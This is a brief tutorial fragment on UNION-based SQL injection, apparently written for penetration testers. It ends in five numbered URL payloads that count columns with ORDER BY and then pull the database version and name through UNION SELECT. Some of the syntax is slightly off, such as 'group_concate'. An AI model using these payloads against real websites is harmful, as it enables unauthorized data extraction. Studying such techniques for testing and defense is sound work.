In this attacker uses the UNION Statement for the attack which merges the two or more selected statement for retrieving the data from the database.
OR
UNION-based attacks allow the tester to easily extract information from the database. Using this extract the table name and number of column after that extract the data from the cell.
1. url/order by 1
2. url union select 1,2,3,4,5….
3. url id=-1 union select 1,2,3,4,5….
4. url id=-49 union select 1,2,@@ version,4,5,6
5. url id=-49 union select 1,2, group_concate(database()),4,5,6